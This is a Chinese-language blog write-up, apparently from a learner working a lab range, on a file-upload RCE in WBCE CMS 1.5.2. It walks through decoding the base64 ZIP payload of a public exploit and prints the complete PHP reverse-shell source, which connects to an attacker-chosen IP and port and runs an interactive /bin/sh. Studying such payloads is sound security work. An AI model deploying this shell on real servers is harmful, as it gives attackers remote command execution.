简介

WBCE CMS v1.5.2 /language/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE。

本人使用春秋云境免费靶场在线搭建。

详解

其实这个1.5.2版本的漏洞很多,我也在www.exploit-db.com网站搜到了一个可以用RCE的exploit。
相关exploit地址:https://www.exploit-db.com/exploits/50707
当时也算是执行一半成功吧,exploit执行成功后会反弹shell,所以需要一台具有nc工具的公网设备才可以继续进行。

重点

exp中payload是一个base64编码的字符串(很长很长的字符串)。因为是学习所以就想看一下具体的payload。
直接看图:
2023-06-24T10:28:24.png
base64解码后是一堆乱码。当时就蒙了,因为平时遇到的都是字符串。
所以咨询了大佬,大佬说开头是PK,要不尝试一下解压缩。我又蒙了,一堆乱码怎么解压缩,都不是压缩包呀。
后知后觉,这个一个文件上传漏洞,当然是一个文件,压缩包也算啊。而且当时没有仔细看代码。看下图:
2023-06-24T10:39:30.png
漏洞路径是/admin/admintools/tool.php,而发送的请求是一个t18bknev.zip文件。

base64编码的zip文件解码

  • 思路一

将解码后的乱码复制到一个txt文件中,然后修改后缀名为zip。但是zip打开报错。应该是还需要操作,但是不了解,待学习。

  • 思路二

大佬说可以用python代码还原成zip文件。听取大佬的意见我询问了chatgpt,在多次逼问下,chatgpt终于给了我正确的代码。代码如下:

# -*- coding: utf-8 -*-
import base64
import zipfile

# 经过Base64编码的ZIP文件数据
base64_encoded_data = "base64编码的zip文件字符串"

# 解码Base64数据
decoded_data = base64.b64decode(base64_encoded_data)

# 写入解码后的数据到ZIP文件
with open("restored_file.zip", "wb") as file:
    file.write(decoded_data)

print("ZIP文件已还原")

# 如果需要提取ZIP中的文件内容,可以使用zipfile模块
with zipfile.ZipFile("restored_file.zip", 'r') as zip_ref:
    # 提取所有文件到目标文件夹
    zip_ref.extractall("extracted_files_folder")

print("ZIP文件已解压缩")

此段代码收藏留以后备用。

payload代码讲解

payload源码:

<?php
//:t18bknev
//:
set_time_limit(0);
$VERSION = "1.0";
$ip = $_REQUEST["rev_ip"];
$port = $_REQUEST["rev_port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit($string)
{
    if (!$daemon) {
        print"$string\n";
    }
}

return 0;

讲解:
2023-06-24T11:02:11.png
chatgpt真是一个好东西。